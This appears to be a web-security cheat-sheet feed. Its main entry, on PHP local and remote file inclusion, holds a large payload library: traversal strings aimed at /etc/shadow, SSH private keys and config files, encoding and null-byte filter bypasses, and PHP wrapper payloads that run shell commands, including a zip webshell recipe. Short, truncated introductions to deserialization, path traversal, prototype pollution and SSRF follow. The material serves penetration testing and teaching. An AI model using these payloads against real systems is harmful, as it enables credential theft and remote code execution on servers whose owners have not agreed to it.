Server-Side on MrAzoth

File Inclusion (LFI / RFI)

Tue, 24 Feb 2026 00:00:00 +0000

File Inclusion (LFI / RFI)

Severity: Critical | CWE: CWE-98, CWE-22 OWASP: A03:2021 – Injection

What Is File Inclusion?

PHP and other server-side languages allow dynamic file inclusion via include(), require(), include_once(), require_once(). When the included filename is attacker-controlled:

LFI (Local File Inclusion) — read local files, potentially execute code via log poisoning or PHP wrappers
RFI (Remote File Inclusion) — include remote URL as PHP code (requires allow_url_include=On)

// Vulnerable code patterns:
include($_GET['page'] . ".php");       // append .php
include("pages/" . $_GET['template']); // prefix + user input
require($_POST['module']);              // full control

Discovery Checklist

Find parameters that load file paths: page=, file=, template=, lang=, module=, include=, path=, view=
Test basic traversal: ../../../etc/passwd
Test with and without extension appending (does error show extension?)
Test PHP wrappers: php://filter, php://input, data://, expect://
Test null byte termination for PHP < 5.3.4: ../../../etc/passwd%00
Test path normalization: ....//....//....//etc/passwd
Test log poisoning → LFI to RCE
Check error messages for absolute path disclosure
Test RFI if app allows external URLs
Test /proc/self/environ poisoning via User-Agent
Test /proc/self/fd/[n] for open file descriptor log access
Test ZIP/PHAR wrappers for LFI to RCE

Payload Library

Payload 1 — Basic LFI Path Traversal

# Linux targets:
../../../etc/passwd
../../../etc/shadow
../../../etc/hosts
../../../etc/hostname
../../../proc/version
../../../proc/self/cmdline
../../../proc/self/environ
../../../var/log/apache2/access.log
../../../var/log/apache2/error.log
../../../var/log/nginx/access.log
../../../var/log/auth.log
../../../var/log/mail.log
../../../home/USER/.bash_history
../../../home/USER/.ssh/id_rsa
../../../root/.bash_history
../../../root/.ssh/id_rsa
../../../etc/mysql/my.cnf
../../../etc/php/php.ini
../../../var/www/html/config.php

# Windows targets:
..\..\..\windows\win.ini
..\..\..\windows\system32\drivers\etc\hosts
..\..\..\inetpub\wwwroot\web.config
..\..\..\xampp\apache\conf\httpd.conf
C:\windows\win.ini
C:\inetpub\wwwroot\web.config

# URL-encoded variants:
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd    # double-encoded
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd  # overlong UTF-8

# Null byte (PHP < 5.3.4) — truncate extension append:
../../../etc/passwd%00
../../../etc/passwd%00.jpg
../../../etc/passwd\0

# Dot truncation (Windows, long paths) — extension gets cut off:
../../../windows/win.ini..........[add many dots/spaces]

# Extra dot/slash normalization bypass:
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
..././..././..././etc/passwd

Payload 2 — PHP Wrappers

# php://filter — read file source without executing (base64):
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=../config.php
php://filter/read=string.rot13/resource=index.php
php://filter/convert.iconv.utf-8.utf-16/resource=index.php

# Decode base64 output:
echo "BASE64_OUTPUT" | base64 -d

# php://filter chains (PHP 8 / newer — multiple filters):
php://filter/convert.iconv.UTF-8.UTF-32|convert.base64-encode/resource=/etc/passwd

# php://input — execute POST body as PHP (requires allow_url_include or include):
# Send: include('php://input')
# POST body: <?php system($_GET['cmd']); ?>

# data:// wrapper — inline code execution:
data://text/plain,<?php system('id');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
# base64 of: <?php system('id');?>

# expect:// — direct command execution (requires expect extension):
expect://id
expect://whoami
expect://cat+/etc/passwd

# zip:// wrapper — execute PHP in a ZIP archive:
# Create: echo "<?php system($_GET['cmd']); ?>" > shell.php && zip shell.zip shell.php
zip://path/to/uploaded/shell.zip%23shell.php

# phar:// wrapper — PHAR deserialization (see 20_Deser_PHP.md):
phar://path/to/uploaded/file.jpg

# Combining wrappers:
php://filter/convert.base64-decode/resource=data://text/plain,PD9waHAgcGhwaW5mbygpOz8+

Payload 3 — Log Poisoning → LFI to RCE

Poison a log file with PHP code via a user-controlled field, then include the log file.

Insecure Deserialization — .NET

Tue, 24 Feb 2026 00:00:00 +0000

Insecure Deserialization — .NET

Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures

What Is .NET Deserialization?

.NET has multiple serialization formats and deserializers — each with different gadget chains. The most dangerous are BinaryFormatter and SoapFormatter (both removed/disabled in .NET 5+), but many legacy applications still use them. JSON.NET (Newtonsoft.Json) is vulnerable to type confusion when TypeNameHandling is set insecurely.

BinaryFormatter:  binary format — .NETSEC magic bytes: 00 01 00 00 00
SoapFormatter:    XML/SOAP format — <SOAP-ENV:Envelope>
LosFormatter:     ViewState format — /w...
ObjectStateFormatter: ASP.NET ViewState (HMAC-signed but weak key)
JSON.NET:         {"$type":"System.Windows.Data.ObjectDataProvider,..."}
DataContractSerializer: XML with type hints

ysoserial.net is the primary tool — equivalent of ysoserial for Java.

Insecure Deserialization — Node.js

Tue, 24 Feb 2026 00:00:00 +0000

Insecure Deserialization — Node.js

Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures

What Is Node.js Deserialization?

Unlike Java/PHP, Node.js doesn’t have a single dominant serialization format. Vulnerabilities arise in:

node-serialize — uses IIFE pattern (_$$ND_FUNC$$_) to embed executable functions
cryo — serializes functions, exploitable via custom class injection
serialize-javascript — meant for safe serialization but misused
__proto__ pollution via JSON.parse — not deserialization per se but JSON-triggered prototype pollution
vm module escape — sandbox breakout when deserializing into vm context
Cookie/session forgery — express-session with weak secret, cookie-parser with known secret

// node-serialize vulnerable pattern:
var serialize = require('node-serialize');
var data = cookieParser.parse(req.headers.cookie)['profile'];
var obj = serialize.unserialize(data);  // ← RCE if IIFE in data

Discovery Checklist

Phase 1 — Identify Serialization

Insecure Deserialization — Python

Tue, 24 Feb 2026 00:00:00 +0000

Insecure Deserialization — Python

Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures

What Is the Attack Surface?

Python’s deserialization ecosystem is broader than most developers realize. Beyond the infamous pickle, there are PyYAML, marshal, shelve, jsonpickle, ruamel.yaml, dill, pandas.read_pickle(), and even numpy.load(). Each has distinct exploitation characteristics.

The core issue: these formats encode object type information alongside data. During deserialization, the runtime reconstructs arbitrary objects — and crafted payloads can execute code during that reconstruction.

Java Deserialization

Tue, 24 Feb 2026 00:00:00 +0000

Java Deserialization

Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures

What Is Java Deserialization?

Java’s native serialization converts objects to a byte stream (serialize) and back to objects (deserialize). When an application deserializes attacker-controlled data, the attacker can provide a crafted byte stream that, when deserialized, executes arbitrary code — even before the application logic has a chance to inspect the data.

The execution happens through gadget chains: sequences of existing library classes whose methods, when invoked in sequence during deserialization, result in OS command execution. The attacker doesn’t inject new code — they exploit existing code already on the classpath.

Path Traversal / Directory Traversal

Tue, 24 Feb 2026 00:00:00 +0000

Path Traversal / Directory Traversal

Severity: High–Critical CWE: CWE-22 OWASP: A01:2021 – Broken Access Control

What Is Path Traversal?

Path Traversal (also known as Directory Traversal or ../ attack) occurs when user-controlled input is used to construct a filesystem path without proper sanitization, allowing the attacker to read (or write) files outside the intended directory.

The canonical payload is ../ — traversing one directory level up. Chained enough times, it reaches the root of the filesystem and can access any readable file: credentials, source code, private keys, configurations, OS files.

PHP Object Deserialization

Tue, 24 Feb 2026 00:00:00 +0000

PHP Object Deserialization

Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures

What Is PHP Deserialization?

PHP’s unserialize() converts a serialized string back into a PHP object. If attacker-controlled data reaches unserialize(), the attacker can instantiate arbitrary classes. PHP automatically calls magic methods on deserialized objects:

__wakeup()    → called on unserialize
__destruct()  → called when object is garbage collected
__toString()  → called when object used as string
__call()      → called when invoking inaccessible method
__get()       → called when reading inaccessible property
__set()       → called when writing inaccessible property
__invoke()    → called when object used as function

A POP chain (Property-Oriented Programming) links multiple classes whose magic methods call each other, ultimately reaching a dangerous sink (file write, shell exec, SQL query, etc.).

Prototype Pollution (Server-Side / Node.js)

Tue, 24 Feb 2026 00:00:00 +0000

Prototype Pollution (Server-Side / Node.js)

Severity: Critical | CWE: CWE-1321 OWASP: A03:2021 – Injection

What Is Server-Side Prototype Pollution?

Same root cause as client-side (see 55_ProtoPollution_Client.md) but exploited in Node.js server processes. When user-controlled JSON/query data reaches _.merge, qs.parse, lodash.set, or similar functions on the server, polluting Object.prototype can:

Bypass authentication (add isAdmin: true to all objects)
RCE via gadget chains in template engines, child_process, spawn, or env variables
Crash the server (DoS via toString or constructor overwrite)

Unlike client-side, impact persists across all user sessions until server restarts — one successful attack affects all users.

Server-Side Request Forgery (SSRF)

Tue, 24 Feb 2026 00:00:00 +0000

Server-Side Request Forgery (SSRF)

Severity: Critical CWE: CWE-918 OWASP: A10:2021 – Server-Side Request Forgery PortSwigger Rank: Top-tier, dedicated learning path

What Is SSRF?

Server-Side Request Forgery (SSRF) occurs when an attacker can make the server issue HTTP (or other protocol) requests to an arbitrary destination — whether internal services, cloud metadata endpoints, or external infrastructure — on the attacker’s behalf.

The danger lies in what the server already has access to: internal APIs, admin interfaces, cloud IAM credentials, databases, microservices behind firewalls. The server trusts itself; SSRF abuses that trust.